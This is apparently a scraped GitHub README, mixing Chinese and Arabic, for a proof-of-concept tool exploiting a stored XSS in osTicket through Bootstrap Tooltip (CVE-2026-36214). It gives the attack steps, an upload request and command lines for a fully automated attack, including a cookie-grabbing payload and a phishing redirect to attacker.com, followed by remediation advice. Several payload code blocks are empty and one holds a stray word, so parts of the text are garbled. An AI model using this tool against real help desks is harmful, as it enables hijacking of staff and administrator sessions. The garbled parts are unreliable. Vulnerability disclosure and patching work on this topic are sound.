amnsecurity/CVE-2026-36214-osTicket-XSS

GitHub: amnsecurity/CVE-2026-36214-osTicket-XSS

针对 osTicket 中由 Bootstrap Tooltip 组件引发的存储型 XSS 高危漏洞(CVE-2026-36214)提供 PoC 利用工具与详细技术分析。

Stars: 1 | Forks: 0

# ─── CVE-2026-36214 ─── CVSS 8.7
# 🏴 AMN SECURITY 🏴 ### Cyber Security Research Center | 网络安全研究中心 [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![邮箱](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

# ⚠️ osTicket 中通过 Bootstrap Tooltip 组件的存储型 XSS 漏洞 ### CVE-2026-36214 | CVSS 8.7 | 高危 ### 📋 执行摘要 ثغرة أمنية من نوع **Cross-Site Scripting (XSS) مخزنة** في نظام إدارة التذاكر **osTicket** (الإصدارات 1.10 حتى 1.17.7 و 1.18.0 حتى 1.18.3)، تنشأ من استخدام مكون **Bootstrap Tooltip 3.3.4** المعروف بثغرة **CVE-2019-8331**. تسمح هذه الثغرة لمستخدم عادي (غير مُصادق عند إنشاء التذكرة) بحقن كود JavaScript ضار في رسالة التذكرة. عند عرض هذه الرسالة من قبل **وكيل (Agent)** أو **مسؤول (Admin)**، يتم تنفيذ الكود في سياق جلستهم، مما يسمح بسرقة الجلسة والتحكم الكامل بنظام التذاكر. | العنصر | التفاصيل | |--------|----------| | **CVE** | CVE-2026-36214 | | **CVSS** | 8.7 (High) | | **النوع** | Stored Cross-Site Scripting (XSS) | | **المنتج** | osTicket | | **الإصدارات المتأثرة** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 | | **المكون الضعيف** | Bootstrap Tooltip 3.3.4 (CVE-2019-8331) | | **الصلاحية المطلوبة** | بدون مصادقة (افتراضياً) | | **التأثير** | استيلاء كامل على جلسات الوكلاء والمسؤولين | ### 🔍 漏洞详情 osTicket هو نظام تذاكر مفتوح المصدر يستخدم على نطاق واسع في المؤسسات. يسمح للمستخدمين برفع محتوى HTML وملفات مرفقة ضمن التذاكر. #### 攻击机制 ``` [مستخدم] ← يرفع ملف JavaScript ضار كملف مرفق في تذكرة │ ▼ [نظام osTicket] ← يخزن الملف ويعيد رابط تحميل مباشر │ Content-Type: text/javascript (دون قيود) ▼ [مستخدم] ← يرسل تذكرة تحتوي على HTML ضار │ يستخدم Bootstrap Tooltip data-template ▼ [وكيل/مسؤول] ← يفتح التذكرة لعرضها │ ▼ [Bootstrap Tooltip] ← يعالج data-template ← يحمل ويشغل JavaScript │ ▼ [اختراق جلسة الوكيل/المسؤول] ``` #### 攻击树 ``` <قميص>
``` #### 漏洞成因 1. **Bootstrap Tooltip 3.3.4** (CVE-2019-8331) يسمح بحقن HTML عبر `data-template` 2. **htmlLawed** لا يقوم بتصفية السمة `data-template` بشكل كافٍ 3. **رفع الملفات بدون قيود**: يمكن رفع ملفات JavaScript مع `Content-Type: text/javascript` 4. **CSP متساهل**: سياسة أمان المحتوى تسمح بتنفيذ JavaScript من نفس المصدر (same-origin) ### 💥 详细攻击场景 #### 步骤 1:上传恶意 JavaScript 文件 ``` POST /upload.php HTTP/1.1 Content-Type: multipart/form-data [attachment: exploit.js] ``` ![رفع ملف JS](https://static.pigsec.cn/wp-content/uploads/repos/cas/ba/ba283731c8d8cefebca943f6537ba050d27e795addc7fff9ab6540e532836563.png) #### 步骤 2:获取直接下载链接 بعد الرفع، يتم إرجاع رابط مباشر للملف: ``` http://target-osticket.com/file.php?key=abc123&expires=... ``` ![رابط التحميل المباشر](https://raw.githubusercontent.com/amnsecurity/CVE-2026-36214-osTicket-XSS/main/images/get_direct_link_of_our_uploaded_js_file.png) ![Content-Type للملف](https://static.pigsec.cn/wp-content/uploads/repos/cas/91/91a759b18b173b5c012959b3b46cef58a8fe5f90ec6f05bca7c460cbc632ef5b.png) #### 步骤 3:创建恶意工单 ```
``` ![إرسال الحمولة الخبيثة](https://static.pigsec.cn/wp-content/uploads/repos/cas/1d/1d9465689081a8deb7512d0e5cf2d34967e217d022522afbfdf369669db13ec3.png) #### 步骤 4:执行 عندما يفتح وكيل أو مسؤول التذكرة: ![تم تشغيل الحمولة](https://static.pigsec.cn/wp-content/uploads/repos/cas/b2/b2951b68fa87cfd69b5bb424fa745bbd790973ce92257f1c9f0d3458ba9240a6.png) #### 通过同源绕过 CSP سياسة CSP في لوحة التحكم تسمح بـ JavaScript من نفس المصدر فقط: ![CSP في لوحة التحكم](https://static.pigsec.cn/wp-content/uploads/repos/cas/1b/1b04e64af897d39b7bf5933ca69e354d46d026b6a9fe99f80cb9ddd1e28ecb7c.png) #### 在禁止上传 JS 时进行重定向 إذا تم منع رفع ملفات JS، يمكن استخدام iframe مع data URI: ```
``` ![إعادة التوجيه](https://static.pigsec.cn/wp-content/uploads/repos/cas/45/451e4494cb6f39ea23aca4d3352684d530dc3e9107f0ea9678be098142e88130.png) ### 🧪 工具使用 ``` # 上传恶意 JavaScript 文件 python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js # 创建恶意工单 python3 CVE-2026-36214.py -t https://target-osticket.com --ticket \ --js-url "http://target/file.php?key=abc123" # 完整攻击模式 python3 CVE-2026-36214.py -t https://target-osticket.com --auto \ --payload "alert(document.cookie)" # 使用 iframe data URI(在禁止上传 JS 时) python3 CVE-2026-36214.py -t https://target-osticket.com --iframe \ --redirect "https://attacker.com/phish" # 目标扫描 python3 CVE-2026-36214.py -t https://target-osticket.com --check ``` #### 可用选项 | الخيار | الوصف | |--------|-------| | `-t, --target` | رابط osTicket المستهدف | | `--check` | فحص وجود الثغرة فقط | | `--upload` | رفع ملف JavaScript ضار | | `--ticket` | إنشاء تذكرة بالحمولة | | `--auto` | هجوم أوتوماتيكي كامل | | `--js-url` | رابط ملف JavaScript | | `--payload` | كود JavaScript للتنفيذ | | `--iframe` | استخدام iframe data URI | | `--redirect` | رابط إعادة التوجيه | | `--proxy` | بروكسي HTTP | | `-v, --verbose` | إظهار تفاصيل إضافية | ### 🛡️ 修复措施 | الإجراء | الأولوية | الوصف | |---------|----------|-------| | **تحديث osTicket** | 🟢 فوري | الترقية إلى 1.17.8 أو 1.18.4 | | **تحديث Bootstrap** | 🟢 فوري | تحديث Bootstrap إلى 3.4.1+ | | **تقييد رفع الملفات** | 🟡 مهم | منع رفع ملفات JavaScript في إعدادات Admin Panel | | **تشديد CSP** | 🟡 مهم | إضافة `script-src 'nonce-...'` لسياسة الأمان | | **تدقيق التذاكر القديمة** | 🟡 مهم | مراجعة التذاكر بحثاً عن حمولات XSS | #### 禁止上传 JavaScript 文件 يمكن للمسؤول منع رفع ملفات JS من خلال إعدادات المرفقات في لوحة التحكم: ``` Admin Panel → Settings → Tickets → Attachments → Allowed File Types: إزالة js, jsx, mjs ``` ### 📊 影响 | المستوى | التأثير | |---------|---------| | **وكيل (Agent)** | 🔴 استيلاء على صلاحيات الوكيل → قراءة/رد/تحويل التذاكر | | **مسؤول (Admin)** | 🔴 استيلاء كامل → تعديل الإعدادات، إنشاء حسابات، DoS | | **السرية** | 🔴 تسريب جميع التذاكر والمرفقات | | **السلامة** | 🔴 تعديل البيانات والإعدادات | | **التوفر** | 🟡 يمكن تعطيل النظام عبر تغيير الإعدادات | ### 🔗 参考链接 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214 - **CVE-2019-8331**: Bootstrap Tooltip XSS - **osTicket**: https://osticket.com/ - **CWE-79**: Improper Neutralization of Input During Web Page Generation ### 🔗 联系 AMN SECURITY [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![邮箱](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

# ⚠️ CVE-2026-36214 — osTicket 通过 Bootstrap Tooltip 的存储型 XSS ### CVSS 8.7 | 高危 | 存储型跨站脚本攻击 ### 执行摘要 **CVE-2026-36214** 是 **osTicket** 1.10 至 1.17.7 版本和 1.18.0 至 1.18.3 版本中的一个 **存储型跨站脚本攻击 (XSS)** 漏洞,由包含存在漏洞的 **Bootstrap Tooltip 3.3.4** 组件 (CVE-2019-8331) 引起。 未经身份验证的用户可以构造恶意的工单消息,即使经过了 htmlLawed HTML 消毒处理,当 Agent 或 Admin 查看时,仍会导致执行任意的 JavaScript。 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-36214 | | **CVSS** | 8.7 (高) | | **类型** | 存储型跨站脚本攻击 (CWE-79) | | **产品** | osTicket | | **受影响版本** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 | | **影响** | Agent/Admin 会话被完全接管 | ### 攻击流程 1. 将恶意 JS 文件作为工单附件上传 2. 创建包含 Bootstrap Tooltip XSS payload 的工单并引用该 JS 文件 3. 当 Agent/Admin 打开工单时 → 在其会话上下文中执行 JS ### 工具使用 ``` # 检查漏洞 python3 CVE-2026-36214.py -t https://target-osticket.com --check # 上传恶意 JS python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js # 创建恶意工单 python3 CVE-2026-36214.py -t https://target-osticket.com --ticket --js-url "http://target/file.php?key=abc" # 全自动攻击 python3 CVE-2026-36214.py -t https://target-osticket.com --auto --payload "alert(document.cookie)" ``` ### 修复措施 | 操作 | 优先级 | 描述 | |--------|----------|-------------| | **更新 osTicket** | 🔴 立即 | 升级至 1.17.8 或 1.18.4+ | | **更新 Bootstrap** | 🔴 立即 | 更新 Bootstrap 至 3.4.1+ | | **限制上传** | 🟡 重要 | 在 Admin Panel 中阻止 JS 文件上传 | | **加固 CSP** | 🟡 重要 | 添加 `script-src 'strict-dynamic'` 策略 | ### 参考 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214 - **CVE-2019-8331**: Bootstrap Tooltip XSS - **CWE-79**: 输入处理不当 ### 联系 AMN SECURITY 🌐 **网站**: https://amn.amnoffsec.workers.dev/ 📸 **Instagram**: https://www.instagram.com/ixctw 📧 **邮箱**: ayman.mahmoudoffsec@gmail.com
标签:逆向工具